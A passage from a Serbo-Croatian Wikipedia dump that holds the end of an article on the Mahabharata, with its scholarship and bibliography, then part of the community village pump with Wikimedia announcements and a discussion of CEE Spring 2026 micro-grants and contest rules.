žene. Poštovanje roditelja i predaka uvjet je prava na nasljedstvo. A Bhišma toliko štuje oca da to pravo gubi. K tome je i prvorođenac, a pravo na nasljedstvo ipak stiču Satyavatini sinovi. Napokon se događa da oba njena sina umru mladi bez potomstva, a Bhišma ostaje na životu, a zavjetom se odrekao kraljevstva, pa čak i obiteljskoga života. Zbog svoga zavjeta ne može pomoći ni dvjema udovicama pokojnoga polubrata Vićitravirye da, prema običaju levirata, pokojnom mužu rode nasljednika. No sad se otkriva da je i Satyavati prije braka sa Šantanuom imala predbračnog sina Vyasu, ali on je strašni isposnik. I sada umjesto velikoga ratnika Bhišme pravo levirata ostvaruje isposnik Vyasa. Time Vićitravirya stječe dva zakonita sina koji su tjelesna djeca Vyasina. Međutim, Dhrtaraštra koji je stariji rodio se slijep, pa nasljedstvo opet preko reda pripada mlađem Panduu, a on zbog neke kletve ne smije prići vlastitim ženama Kunti i Madri. Stoga one moraju prizvati bogove da im pomognu da mu rode zakonitu djecu, petoricu Pandava. Kada dječaci Kaurave i Pandave dorastu do nasljedstva, doista neće biti nesporno tko na nj ima pravo. Ipak, ep često naglašava da je od svih najstariji Yudhištira pa bi po tome pravo bilo njegovo. No kasnije se saznaje da je odbačeni predbračni Kuntin sin Karna, kojega je odgojio kočijaš Adhiratha pa ga svi smatraju nižim po rodu, zapravo bio najstariji od braće, a ona su ga ubila u boju. I kada Pandave napuštaju kraljevstvo, nasljedstvo ostaje na unuku najmlađega Kuntina sina Arđune jer su djeca svih drugih izginula u ratu. [[Datoteka:Raja Ravi Varma - Mahabharata - Shakuntala.jpg|left|thumb|200px|Ravi Varma]] Spominjući te paradokse u Uvodu u ovaj prijevod epa, J. A. B. Buitenen veli da se "veličanstveni nacrt priče čini dijelom zamišljen kao genealoška zagonetka". Stoga nije čudno da Kaurave i Pandave probaju više puta podijeliti kraljevstvo. Prvi put, možda, već kada šalju Pandave u zapaljivi dvor izgrađen za njih. Drugi put kada im dodjeljuju Indraprasthu. Treći put kada raspodjelu kraljevstva prepuštaju kocki. A četvrti put ratnoj sreći kao božjem sudu. Iz pitanja o zakonitome prijestolonasljedniku razvija se i niz drugih pravnih i ćudorednih pitanja u samoj radnji epa koja nerijetko djeluju kao primjeri pravnih ili ćudorednih dilema. One, međutim, dobivaju snažan pjesnički izraz i postaju slika ljudske sudbine u svijetu. No kada se u 12. i 13. knjizi uvrste opsežne pravne rasprave i Bhišmine pouke Yudhišthiri, one nemaju pjesničkoga izraza ni snage i tu golemi poučni tekstovi posve mijenjaju narav epa u eksplicitnu dharmašastru. Isto vrijedi i za kozmološke, geografske i ostale rasprave koje su Mahabharatu pretvarale u [[enciklopedija|enciklopediju]] poput poučnih spjevova purana. # S druge strane stoji najslavniji poučni dio Mahabharate, Bhagavadgita, uvrštena u 6. knjigu epa (VI. 23-40) okrunjena otkrovenjem vozara Krišne koji se prijatelju i velikom strijelcu Arđuni pokazuje prvo kao veliki učitelj [[yoga|yoge]], a napokon i kao sveobuhvatno božanstvo koje stvara sva bića i ponovno ih guta kao plamen vremena, te kojemu se naprosto treba posve predati s povjerenjem i sudjelovati u njegovom biću (bhakti). Ta "Gospodnja pjesma" daje cijelome zbivanju u epu novi smisao. Sve u njemu dobiva božanski smisao, priča postaje sveta, a ep dobiva ulogu i ugled vjerske knjige ili objave. Nije Bhagavadgita jedini tekst koji daje epu narav vjerske knjige, ali je najznatniji, i ne stoji sama izdvojeno u njemu, nego je široko uticala na svoj kontekst i svojom perspektivom prožela brojne epizode i pojedinačne odlomke u čitavom epu. Ipak mnogi drugi dijelovi priče ostali su tako stilizirani kao da za tu božansku perspektivu i ne znaju te, na primjer, prikazuju Krišnu kao obična čovjeka s neizbježnim slabostima. Stoga se može pretpostaviti da ep isprva nije imao takva vjerskoga sadržaja već da ga je dobio kada njegov junački sadržaj više nije imao neposredno zainteresiranih održavatelja, nego se druga vrsta pjevača ili kazivača poslužila omiljenim epom da u njegovu okviru širi i svoje svjetovne ili vjerske predaje. # I sama Mahabharata čuva svjesnu uspomenu na svoje širenje kao i stilizirani prikaz svojega razvoja. Ona, naime, sama tvrdi da je djelo mudraca i isposnika Vyase koji u epu više puta savjetuje Yudhišthiru i Pandave ili im pripovijeda priče. Vyasa je naučio sina Šuku i nekoliko učenika svoju pjesmu, a jedan ju je od učenika, Vaišampayana, kazivao zmijskoj žrtvi koju je prinosio. Vyasa tu možda u svojemu liku utjelovljuje službu porodičnoga genealogista i panegirčara ili redaktora književne predaje, a svakako još Vaišampayana pjeva pjesmu o precima Bharatama neposredno zainteresiranu nasljedniku kraljevske loze. No Mahabharata sebe prikazuje kao nečije iznošenje pjesme kako ju je Ugrušravas, sin Šute Lomaharsane, koji ju je čuo od Vaiš na Đaninoj žrtvi, kazivao brahmanima i isposnicima okupljenim na dugome dvanaestogodišnjemu žrtvenome sijelu obredovoditelja Šaunake u šumi Naimiša. Ugrušravas je još uvijek sin Šute, dvorskoga pjevača koji je često bio kraljevski kočijaš i iz očevida opijevao podvige gospodara, ali njegovo slušateljstvo već su brahmani i isposnici, nosioci svjetovnih i duhovnih znanja, obrednih i vjerskih predaja, kakvima se s vremenom, vidjeli smo, proširivao tekst velikoga epa. U epu se i spominju različite njegove verzije: Đaya "Pjesma o pobjedi" koja je imala svega 8.800 šloka, Bharata "Pjesma o Bharatama" ili "Boj Bharata". U epu je stilizirano prikazan i način na koji se kazivao u usmenoj predaji. Kazivač bi prvo iznio kratku okosnicu priče. Potom, ako bi ga slušatelji molili da im je potanko ispriča, stao bi je kazivati sa svim podrobnostima. I tada bi ga slušatelji mogli prekidati dodatnim molbama da štogod određenije ili još potanje ispriča. Tako se ep kazivao u razgovoru između kazivača i slušatelja, a prenosio u oblik sažetaka ili tema i tehnike pjevanja ili formula kojom se iz okosnice gradila priča kakva se milila slušateljstvu. Stoga je pjesma lako poprimala različit opseg, a velike svečanosti i dugi obredi na kojima se iznosila mogli su poticati njeno širenje. == Teorije i izdanja == Proučavatelji Mahabharate posvećivali su posebnu pažnju traženju različitih sadržajnih slojeva — hvalopjeva Kurua, hvalopjeva Pandava itd. — koji su se nataložili u Mahabharati u toku njena razvoja<ref>Adolf Holtzman, Sr. Indische Sagen, 3 sv., Karlsruhe 1845-47. (2Jena 1920-21.) i Jr. Das Mahabharata und seine Teile, Kiel 1892-95.</ref> ili u traženju jedinstvene niti i nacrta cijelog djela kako je do nas došlo u pouci i dharmi, pravu i ćudoređu<ref>Joseph Dahlmann Das Mahabharata als Epos und Rechtbuch, Berlin 1985.</ref>, nastojali su otkriti odnos mitskoga obrasca prema povijesnoj podlozi u mitskoj priči, npr. u priči o braku crne Draupadi s petoricom Pandava kao braku crne Zemlje s pet godišnjih doba<ref>A. Ludwig Uber das Verhdltnis des mythischen Elementcs zu der historischen Grundlage des Mahabharata, Prag 1884.</ref> ili doprijeti do slike povijesti velikoga epa<ref>E. W. Hopkins The Great Epic oflndia, New York 1901.</ref> Dugo su se naučnici morali služiti izdanjima samo pojedinih recenzija Mahabharate, i to često nekritičkima. M. Winternitz je tražio da se poduzme kritičko i/davanje Mahabharate još 1897. u Parizu na XI. međunarodnome kongresu orijentalista. Napokon se pokazalo da taj pothvat mogu izvesti jedino [[Indijci]]. I tako je Bhandarkar Oriental Research Institute u Pooni konačno pod vodstvom V. S. Sukthankara, S. K. Belvalkara i P. L. Vaidve pripravio između 1933. i 1966. kritičko izdanje Mahabharate, v. podatke u zaglavlju knjige. tj. zajedničkoga predloška sjevernih (šaradsko-kašmirske, bengalsko-maithilsko-nepalske i devanagarske) i južnih (granthsko-teluške i malayalske) verzija Mahabharate, ne upuštajući se u špekulacije o ranijim oblicima Đaye, Bharate ili sl. jer njihovu rekonstrukciju sama rukopisna predaja ne omogućuje. Kritičko je izdanje, dakle, zajednički nazivnik sjeverne i južne recenzije, ali je aparat uz njega pravi thesaurus svih rukopisno potvrđenih varijanata i čitanja epa. U toku tog izdavanja i posebno poslije njega ponovno su oživjeli svi oni pristupi istraživanju Mahabharate koji su je javili u razdoblju prije kritičkoga izdanja i potom u nedostatku takva pomagala privremeno zamrli. O postanku i razvoju Mahabharate pisali su sam priređivač kritičkoga izdanja Sukthankar On the Meaning of the Mahabharata, Bombay, 1937. i R. V. Vaidva. Vaidya, nav. dj. (bilj. 5). Sukthankar je pritom, međutim, bio bliži unitarnome shvaćanju Mahabharate u Dahlmanna, barem u pogledu jedinstvenosti zamisli epa, negoli analitičkom pristupu Holtzmanna, strica i nećaka. Smatrao je da Mahabharata ima značenje pjesme o podvizima svojih junaka, ali i značenje pouke o dharmi i svete povijesti ili krišnističke objave, a vidjeli smo da su upravo ta dva druga značenja izrasla na podlozi prvoga u toku razvoja epa. To samo znači da ep ne samo da je u osnovi svoje junačke radnje imao jasnu koncepciju u dugu suta koji su ga stvarali, nego da se i u proširenim preradama u rukama brahmana, isposnika i vjerovjesnika također razvijao prema promišljenim koncepcijama smjera i smisla u kojem su željeli preraditi i proširiti ep. Stoga u osnovi nema ni onoliko proturječja između analitičkog i unitarnjeg pristupa epu koliko ga vidi Sukthankar. Historijska filološka kritika teksta ne mora polaziti od isljučivog interesa za pra-Bharatu, nego može istraživati historiju niza koncepcija s kojim se ep u povijesti prerađivao. == Prijevodi Mahabharate == * na [[engleski jezik]]: K. M. Ganguli-P. C. Roy, Calcutta 1884-96. N. M. Dutt, Calcutta 1895-1905. * na [[francuski jezik]]: H. Fauche, Paris 1863-70. (1-10. parvan) I oni koji su mu slijedili: * na [[engleski jezik]]: J. A. B. van Buitenen, Chicago-London, od 1973. (1-5. parvan) P. Lal, Calcutta, od 1967. * na [[ruski jezik]]: V. I. Kal'janov, Moskva, od 1950., 1987. izašao je 3. parvan u prijevodu J. V. Vasil'kova i S. L. Neveleve. * na srpskohrvatski jezik: Slobodan Vlaisavljević i Goran Andrijašević, Beograd 1984-89. August Cesarec, Zagreb, 1989. Svetovi, Novi Sad 2004, Beograd 2007 Vjerovatno su najpouzdaniji prijevodi van Buitenena i Kal'janova. == Povezano == * [[Ramayana]] == Reference == {{reflist}} == Literatura == {{refbegin|2}} * The Mahabharata: Complete and Unabridged - (Set of 10 Volumes) by Bibek Debroy, Publisher: Penguin Books India, Language : English * The Mahabharata of Vyasa ( 18 Volumes ) - Transcreated from Sanskrit By P.Lal, Publisher:Writers Workshop, Language : English * Badrinath, Chaturvedi. ''The Mahabharata : An Inquiry in the Human Condition'', New Delhi, Orient Longman (2006) * Bandyopadhyaya, Jayantanuja (2008). ''[http://books.google.com.au/books?id=gwUF11NRyT4C Class and Religion in Ancient India]''. Anthem Press. * {{Cite book|series= |last=Basham |first=A. L. |authorlink= |title=The Wonder That Was India: A Survey of the Culture of the Indian Sub-Continent Before The Coming of the Muslims|url=https://archive.org/details/wonderthatwasind0000alba_i6v2|year=1954 |publisher=Grove Press |location=New York |isbn= }} * Bhasin, R.V. ''"Mahabharata"'' published by National Publications, India, 2007. * J. Brockington. ''[http://books.google.com/books?id=HR-_LK5kl18C The Sanskrit Epics]'', Leiden (1998). * Buitenen, Johannes Adrianus Bernardus (1978). ''[http://books.google.com.au/books?id=wFtXBGNn0aUC The Mahābhārata]''. 3 volumes (translation / publication incomplete due to his death). University of Chicago Press. * Chaitanya, Krishna (K.K. Nair). ''The Mahabharata, A Literary Study'', Clarion Books, New Delhi 1985. * Gupta, S.P. and Ramachandran, K.S. (ed.). ''Mahabharata: myth and reality''. Agam Prakashan, New Delhi 1976. * Alf Hiltebeitel. ''The Ritual of Battle, Krishna in the Mahabharata'', SUNY Press, New York 1990. * Hopkins, E. W. ''[http://books.google.com/books?id=hC1d-xN6nzoC The Great Epic of India]'', New York (1901). * Jyotirmayananda, Swami. ''Mysticism of the Mahabharata'', Yoga Research Foundation, Miami 1993. * Katz, Ruth Cecily ''Arjuna in the Mahabharata'', University of South Carolina Press, Columbia 1989. * {{Cite book|series= |last=Keay |first=John |authorlink= |title=India: A History |year=2000 |publisher=Grove Press |location= |isbn=0-8021-3797-0 |url=http://books.google.com/books?id=Tarbo7OzEO8C }} * {{Cite book|last=Majumdar |first=R. C. (general editor)|authorlink= |title= The History and Culture of the Indian People: (Volume 1) The Vedic Age |year=1951 |publisher=George Allen & Unwin Ltd. |location=London|isbn=}} * Lerner, Paule. ''Astrological Key in Mahabharata'', David White (trans.) Motilal Banarsidass, New Delhi 1988. * Mallory, J. P (2005). ''In Search of the Indo-Europeans''. Thames & Hudson. {{ISBN|0-500-27616-1}} * Mehta, M. ''The problem of the double introduction to the Mahabharata'', JAOS 93 (1973), 547–550. * Minkowski, C.Z. ''Janamehayas ''Sattra'' and Ritual Structure'', JAOS 109 (1989), 410–420. * Minkowski, C.Z. 'Snakes, ''Sattras'' and the Mahabharata', in: ''Essays on the Mahabharata'', ed. A. Sharma, Leiden (1991), 384–400. * Hermann Oldenberg. ''Zur Geschichte der Altindischen Prosa'', Berlin (1917) * Oberlies, Th. 'The Counsels of the Seer Narada: Ritual on and under the Surface of the Mahabharata', in: ''[http://books.google.com/books?id=-0tcQr3WzqsC New methods in the research of epic]'' (ed. H. L. C. Tristram), Freiburg (1998). * Oldenberg, H. ''Das Mahabharata'', Göttingen (1922). * Pāṇini. ''Ashtādhyāyī''. [http://www.wilbourhall.org/pdfs/chandravasu/book4.pdf Book 4]. Translated by Chandra Vasu. Benares, 1896. {{en icon}} * Pargiter, F.E. ''Ancient Indian Historical Tradition'', London 1922. Repr. Motilal Banarsidass 1997. * {{Cite book|last=Sattar|first=Arshia (transl.)|authorlink= |title=The Rāmāyaṇa by Vālmīki|publisher=Viking|year=1996|page=696|isbn=978-0-14-029866-6|ref=harv}} * Sukthankar, Vishnu S. and Shrimant Balasaheb Pant Pratinidhi (1933). ''The Mahabharata: for the first time critically edited''. Bhandarkar Oriental Research Institute. * Sullivan, Bruce M. ''Seer of the Fifth Veda, Krsna Dvaipayana Vyasa in the Mahabharata'', Motilal Banarsidass, New Delhi 1999. * Sutton, Nicholas. ''[http://books.google.com/books?id=rFyUHC-ORp4C Religious Doctrines in the Mahabharata]'', Motilal Banarsidass, New Delhi 2000. * Utgikar, N. B. ''The mention of the Mahabharata in the Ashvalayana Grhya Sutra'', Proceedings and Transactions of the All-India Oriental Conference, Poona (1919), vol. 2, Poona (1922), 46–61. * Vaidya, R.V. ''A Study of Mahabharat; A Research'', Poona, A.V.G. Prakashan, 1967 * Michael Witzel, ''Epics, Khilas and Puranas: Continuities and Ruptures'', Proceedings of the Third Dubrovnik International Conference on the Sanskrit Epics and Puranas, ed. P. Koskiallio, Zagreb (2005), 21–80. * Vishnu S. Sukthankar, Shripad Krishna Belvalkar u. a.: ''The Mahābhārata.'' 19 Bde. mit 2 Indexbänden. Bhandarkar Oriental Research Inst., Poona 1933–1972. * Kisari Mohan Ganguli: ''The Mahabharata of Krishna-Dwaipayana Vyasa.'' Indien 1883–1896. Zuletzt als 4-bändige Taschenbuchausgabe: Munshiram Manoharlal, New Delhi 2004, {{ISBN|81-215-0593-3}} ([http://www.sacred-texts.com/hin/maha/index.htm Online-Edition]) * Hermann Jakobi: ''Mahabharata, Inhaltsangabe, Index und Konkordanz der Kalkuttaer und Bombayer Ausgaben''. Bonn 1903, Nachdruck: Hildesheim 1980, {{ISBN|3-487-07015-4}}. [http://archive.org/details/cu31924023016037 (Digitalisat)] * Vishwa Adluri und Joydeep Bagchee: ''The Nay Science: A History of German Indology''. New York 2014. [https://books.google.de/books?id=YuJ_AwAAQBAJ&pg=PR1&dq=nay+science&hl=en&sa=X&ei=OTJXVfDKIcmXsAG_84HoDA&ved=0CCEQ6AEwAA#v=onepage&q=nay%20science&f=false] * Franz Bopp: ''Nalas und Damajanti''. Berlin 1838 [http://books.google.de/books?id=MFoBAAAAMAAJ (Digitalisat)] * Franz Bopp: ''Indralokâgamanam. Ardschunas Reise zu Indras Himmel''. Berlin 1824 [http://books.google.de/books?id=RYFiEL70WyUC (Digitalisat)] * Franz Bopp: ''Die Sündflut nebst drei andern der wichtigsten Episoden des Mahâ-Bhârata''. Berlin 1829 [http://books.google.de/books?id=HnnVJmTl6pkC (Digitalisat)] * Ernst Heinrich Meier: ''Nal und Damajanti''. Stuttgart 1847. * Paul Deussen: ''Vier philosophische Texte des Mahabharatam''. Leipzig 1906. (Nachdruck: Bielefeld 1980, {{ISBN|3-88302-012-5}}) * Georg von Simson (Hrsg.): ''Mahabharata. Die Große Erzählung von den Bharatas.'' in Auszügen aus dem Sanskrit übersetzt, zusammengefaßt und kommentiert. Verlag der Weltreligionen, Berlin 2011, {{ISBN|978-3-458-70031-9}}. * Gitta Haselbacher: ''Mahabharata. Eine Nacherzählung''. Yantra, Bregenz 2006, {{ISBN|3-901226-39-7}} (vereinfachte Kurzfassung für Kinder) * Otto Abt: ''Von Liebe und Macht. Das Mahabharata''. Horlemann, Bad Honnef 2001, {{ISBN|3-89502-124-5}}. * Biren Roy (Hrsg.): ''Mahabharata. Indiens großes Epos.'' 10. Auflage. Diederichs, Köln 1998, {{ISBN|3-424-00576-2}}. (erstmals 1958 auf Englisch veröffentlicht) * Samhita Arni: ''Das Mahabharata. Von einem Mädchen erzählt und gezeichnet''. Nagel und Kimche, Zürich/ Wien 1999, {{ISBN|3-312-00516-7}}. (indische Nacherzählung von 1996) * Krishna Dharma: ''Mahabharata, Kurzfassung''. Bhaktivedanta 2002. * V. S. Sukthankar: ''On the Meaning of the Mahabharata''. Bombay 1957. * Heino Gehrts: ''Mahabharata. Das Geschehen und seine Bedeutung''. Bouvier, Bonn 1975, {{ISBN|3-416-01072-8}}. * Anette Mangels: ''Zur Erzähltechnik im Mahabharata''. Dr. Kovac, Hamburg 1994, {{ISBN|3-86064-123-9}}. * C. A. Vaidya: [http://archive.org/details/mahabharatacriti025113mbp ''Mahabharata criticism.''] A. J. Combridge & co., Bombay 1905. * Amrita Narlikar, Aruna Narlikar: [http://ukcatalogue.oup.com/product/9780199698387.do ''Bargaining with a Rising India: Lessons from the Mahabharata.''] Oxford University Press, Oxford 2014. {{refend}} == Vanjske veze == {{Commonscat|Mahabharata}} * [http://www.mahabharataonline.com MahabharataOnline.com - Mahabharata Translations, Simple narrations, Stories and Scriptures] {{Webarchive|url=https://web.archive.org/web/20100117032308/http://mahabharataonline.com/ |date=2010-01-17 }} * [http://www.urday.in/Mahabharata.htm Mahabharata major ancient Sanskrit epics of India] {{Webarchive|url=https://web.archive.org/web/20070211115353/http://www.urday.in/Mahabharata.htm |date=2007-02-11 }} * [http://www.sub.uni-goettingen.de/ebene_1/fiindolo/gretil/1_sanskr/2_epic/mbh/sas/Mahabharata.htm] {{Webarchive|url=https://web.archive.org/web/20101107222102/http://www.sub.uni-goettingen.de/ebene_1/fiindolo/gretil/1_sanskr/2_epic/mbh/sas/mahabharata.htm |date=2010-11-07 }} (transliterated) at [http://www.sub.uni-goettingen.de/index-e.html Goettingen State and University Library] {{Webarchive|url=https://web.archive.org/web/20111202115607/http://www.sub.uni-goettingen.de/index-e.html |date=2011-12-02 }} {{Hindu mitologija}} {{Normativna kontrola}} [[Kategorija:Mahabharata| ]] [[Kategorija:Drevna Indija]] [[Kategorija:Sanskritski tekstovi]] [[Kategorija:Hinduizam]] [[Kategorija:Epovi]] 8fshihy7rtc2klwksqhigf2vdmlforo 4 6344 42602578 42598709 2026-05-27T17:14:59Z MediaWiki message delivery 59777 /* Vote now in the 2026 U4C election */ novi odjeljak 42602578 wikitext text/x-wiki __NEWSECTIONLINK__ {{Pijaca}} == Invitation to Host Wiki Loves Folklore 2026 in Your Country == <div lang="en" dir="ltr" class="mw-content-ltr"> <div style="text-align: center; width: 100%;">''{{int:please-translate}}''</div> [[File:Wiki Loves Folklore Logo.svg|right|150px|frameless]] Hello everyone, We are delighted to invite Wikimedia affiliates, user groups, and community organizations worldwide to participate in '''Wiki Loves Folklore 2026''', an international initiative dedicated to documenting and celebrating folk culture across the globe. ;About Wiki Loves Folklore '''Wiki Loves Folklore''' is an annual international photography competition hosted on Wikimedia Commons. The campaign runs from '''1 February to 31 March 2026''' and encourages photographers, cultural enthusiasts, and community members to contribute photographs that highlight: * Folk traditions and rituals * Cultural festivals and celebrations * Traditional attire and crafts * Performing arts, music, and dance * Everyday practices rooted in folk heritage Through this campaign, we aim to preserve and promote diverse folk cultures and make them freely accessible to the world. [[:c:Commons:Wiki_Loves_Folklore_2026|Project page on Wikimedia Commons]] ; Host a Local Edition As we celebrate the '''eight edition''' of Wiki Loves Folklore, we warmly invite communities to organize a local edition in their country or region. Hosting a local campaign is a great opportunity to: * Increase visibility of your region’s folk culture * Engage new contributors in your community * Enrich Wikimedia Commons with high-quality cultural content '''[[:c:Commons:Wiki_Loves_Folklore_2026/Organize|Sign up to organize]]:''' If your team prefers to organize the competition in ''either February or March only'', please feel free to let us know. If you are unable to organize, we encourage you to share this opportunity with other interested groups or organizations in your region. ;Get in Touch If you have any questions, need support, or would like to explore collaboration opportunities, please feel free to contact us via: * The project Talk pages * Email: '''support@wikilovesfolklore.org''' We are also happy to connect via an online meeting if your team would like to discuss planning or coordination in more detail. Warm regards, '''The Wiki Loves Folklore International Team''' </div> [[Korisnik:MediaWiki message delivery|MediaWiki message delivery]] ([[Razgovor s korisnikom:MediaWiki message delivery|razgovor]]) 18. januara 2026. u 14:21 (CET) (Ова порука је послата [[:Wikipedija:Pijaca-Пијаца]] и поставља се овде због преусмерења.) <!-- Pošiljalac poruke: Korisnik:Tiven2240@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery/Wikipedia&oldid=29228188 --> == <span lang="en" dir="ltr">Annual review of the Universal Code of Conduct and Enforcement Guidelines</span> == <div lang="en" dir="ltr"> <section begin="announcement-content" /> I am writing to you to let you know the annual review period for the Universal Code of Conduct and Enforcement Guidelines is open now. You can make suggestions for changes through 9 February 2026. This is the first step of several to be taken for the annual review. [[m:Special:MyLanguage/Universal Code of Conduct/Annual review/2026|Read more information and find a conversation to join on the UCoC page on Meta]]. The [[m:Special:MyLanguage/Universal Code of Conduct/Coordinating Committee|Universal Code of Conduct Coordinating Committee]] (U4C) is a global group dedicated to providing an equitable and consistent implementation of the UCoC. This annual review was planned and implemented by the U4C. For more information and the responsibilities of the U4C, [[m:Special:MyLanguage/Universal Code of Conduct/Coordinating Committee/Charter|you may review the U4C Charter]]. Please share this information with other members in your community wherever else might be appropriate. -- In cooperation with the U4C, [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User talk:Keegan (WMF)|talk]])<section end="announcement-content" /> </div> 19. januara 2026. u 22:01 (CET) <!-- Pošiljalac poruke: Korisnik:Keegan (WMF)@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&oldid=29905753 --> == CEE Women 2026 == Unutar [[meta:Wikimedia_CEE_Spring|Wikimedia CEE Spring]] prevodilačkog wikipedijskog natjecanja se obično organiziraju tematska pod-natjecanja i aktivnosti među kojima je i onaj posvećen ženama i kompenziranju deficita sadržaja po pitanju roda u wikimedijskoj interpretaciji regije Srednje i istočne Europe (poticao sam i su-organizirao sam nekad)... Ove godine je opcija i dobiti manja sredstva (mikro-fond do 500eur) za provedbu širih aktivnosti (uključuje i druge wikimedijske projekte). Bilo bi dobro da se neko hoće primiti toga i potaknuti nove doprinose. Ako ste zainteresirane_i - pogledajte ovdje https://meta.wikimedia.org/wiki/CEE_Women_Campaign_2026 i javite se za suradnju i/ili koordinaciju s drugima. --[[Korisnik:Zblace|Zblace]] ([[Razgovor s korisnikom:Zblace|razgovor]]) 6. februara 2026. u 11:55 (CET) :Hvala ti Zblace na pozivu i na informacijama! Nastojat ću raditi na tome da sh.wiki facilitira veću angažiranost u podzastupljenim temama. – [[Korisnik:Vipz|Vipz]] ([[Razgovor s korisnikom:Vipz|razgovor]]) 6. februara 2026. u 13:19 (CET) ::Puno hvala i od moje strane. CEE Spring je natjecaj kojim bismo trebali dati veću pozornost. LP – [[Korisnik:Inokosni organ|Inokosni organ]] ([[Razgovor s korisnikom:Inokosni organ|razgovor]]) 6. februara 2026. u 13:42 (CET) ::Ako trebaš pomoć da uradimo nešto zajedno online ili hibridno javi. Ja ću probati nešto sa ekipom na Wikidata, Commons a mogli bi i na Wikipedijama. – [[Korisnik:Zblace|Zblace]] ([[Razgovor s korisnikom:Zblace|razgovor]]) 14. februara 2026. u 07:36 (CET) :Sve aktivnosti kojima se smanjuje rodni jaz na Wikipediji izuzetno su važne. Podrška i s moje strane. – [[Korisnik:Aca|Aca]] ([[Razgovor s korisnikom:Aca|razgovor]]) 7. februara 2026. u 01:25 (CET) :Danas je do ponoći krajnji rok za prijavu projekta...meni se osobno još niko nije javio a čini mi se niti da je objavljeno išta prema zajednici o koordiniarnoj-zajedničkoj akciji. Koliko vidim ovdje ima par nespecifičnih (kurtoaznih?) znakova opće podrške, pa nisam siguran što i kako dalje. Iako mi je ovaj SH Wikipeda bliža od HR/SR/BS...imao sam i dovoljno negativnih iskustava da nebi htio inicirati projektni prijedlog samostalno ovdje samo da bi se nešto desilo. Ako se neko organizira i koordinira drukčije na privatnoj osnovi/infrastrukturi to mi je i metodološki i etički problematično, ali ... o tom sam već pisao puno puta. – [[Korisnik:Zblace|Zblace]] ([[Razgovor s korisnikom:Zblace|razgovor]]) 22. februara 2026. u 09:04 (CET) ::Krajnji rok za što točno? Nisam znao da smo tako tanki s vremenom, jer takvog roka nisam vidio zapisanog na nekoj od Meta-Wiki stranica. Što se tiče privatnih infrastruktura i njihove funkcije, slobodno pitaj. [[WP:CEE Spring 2024]] sam organizirao samostalno, da, ali nije bio koordiniran uopće, kao ni [[WP:Mjesec Azije]] ili neki drugi u zadnje vrijeme manje plodni uređivački maratoni. Posljednjih sam nekoliko, takoreći, godina bio izuzetno zaokupljen drugim stvarima u stvarnom životu i projektu sam jedva doprinosio. Sve što sam tada organizirao je više bilo "reda radi, jer smo dosad održali" nego pomno iskoordinirani pothvat koji se kao provodi u tajnim chat kanalima van Wikimedije. CEE Spring 2025 je s moje strane propao jer nisam imao kapaciteta organizirati ga. Tkogod pokaže interes organizirati takve stvari sa mnom ili čak umjesto mene, vrlo je dobrodošao. Također, možemo mi raspravljati u nedogled što točno ne štima, zašto nema novih ljudi, zašto nema doprinosa koliko bi trebalo biti, zašto je urednička retencija takva kakva je, ali činjenica je da samo ponavljamo iste obrasce, a nadamo se drukčijem rezultatu. Tehnička infrastruktura shwiki projekta je vrlo zahrđala, a radi se između ostalog o nekim jako važnim aspektima uređivanja projekta (UX), poput šablona za citiranje. A jednom ako zađeš u to područje zamijetit ćeš da je to jedna duboka zečja rupa – modularni labirint. Optimalna implementacija glavne stvari X zahtjeva da se gradi na stvari Y, koju nadalje podupire 3 neke druge stvari, i tako dalje. Koliko je važno imati kod, važno je lokalizirati ga i prilagoditi lokalnom kontekstu, dokumentirati ga (i sam ga proučiti i shvatiti), ponekad čak i poboljšati gdje se uvidi prilika. Moj trenutni X je sve povezano sa nacrtima i njihovim stvaranjem. Trenutni Y, Z, W, itd. je sve sporedno što zahvatim raditi (a vidljivo je u zapisu doprinosa). Svako dobro. – [[Korisnik:Vipz|Vipz]] ([[Razgovor s korisnikom:Vipz|razgovor]]) 22. februara 2026. u 11:49 (CET) == Financijski poticaj za [[:m:Wikimedia CEE Spring 2026|CEE Spring 2026]] == Pozdrav svima! Fokus ove rasprave je ponuda grupe [[:m:Wikimedia CEE Hub|CEE Hub]], pod fiskalnim sponzorstvom [[:m:Wikimedia Austria|Wikimedije Austrije]], da bilo kojoj zainteresiranoj zajednici omogući mikro-fond do 400 EUR u svrhu nagrađivanja najmarljivijih učesnika nadolazeće uređivačke akcije. Želimo li iskoristiti ovu priliku? – [[Korisnik:Vipz|Vipz]] ([[Razgovor s korisnikom:Vipz|razgovor]]) 28. februara 2026. u 05:40 (CET) ---- ; Rasprava Moje osobno mišljenje je: ovo praktički garantira da će svi ili bar većina učesnika dobiti značajnu novčanu nagradu za svoj doprinos srpskohrvatskoj Wikipediji u sklopu akcije. Obzirom na delikatnu situaciju u kojoj se nalazimo glede jezika, trebali bismo uspostaviti kriterije za učešće koji se dotiču [[WP:Prijenos sadržaja s drugih Wikipedija|prijenosa sadržaja s drugih Wikipedija]]. Pri definiranju kriterija učešća smatram da trebamo dati prednost kvaliteti nad kvantitetom. Kvalitet je, međutim, teže definirati objektivno. Neke metrike kojima raspolažemo: 1) veličina doprinosa u bajtovima 2) veličina doprinosa u riječima 3) broj projekata na srodnim jezicima koji članak već imaju 4) postotak preklapanja sa sadržajem na srodnim jezicima. Pozivam sve zainteresirane da se priključe raspravi s idejama i mišljenjima. – [[Korisnik:Vipz|Vipz]] ([[Razgovor s korisnikom:Vipz|razgovor]]) 28. februara 2026. u 06:21 (CET) :Ovo je sasvim simpatična inicijativa, tako da podržavam. Što se tiče kriterija, mislim da bi svaki oblik prijenosa trebao biti strogo zabranjen - dakle, samo vlastoručno napisani/prevedeni članci, bez ikakvih strojnih prijevoda. – [[Korisnik:Edgar Allan Poe|<span style="color:var(--color-base); font-family:'Free Style Script';">Edgar A.</span>]] [[Razgovor s korisnikom:Edgar Allan Poe|<span style="color:var(--color-base); font-family:'Free Style Script';">Poe</span>]] 28. februara 2026. u 13:26 (CET) :Vrlo lepa ideja. I ja sam saglasan da preneseni članci ne treba da ulaze u sastav takmičenja. Dodatne kriterijume svakako valja razmotriti. – [[Korisnik:Aca|Aca]] ([[Razgovor s korisnikom:Aca|razgovor]]) 28. februara 2026. u 15:03 (CET) :::i ja se slažem s ovom idejom. – [[Korisnik:Inokosni organ|Inokosni organ]] ([[Razgovor s korisnikom:Inokosni organ|razgovor]]) 3. marta 2026. u 19:18 (CET) Hvala vam na podršci! Od uvaženog sam kolege 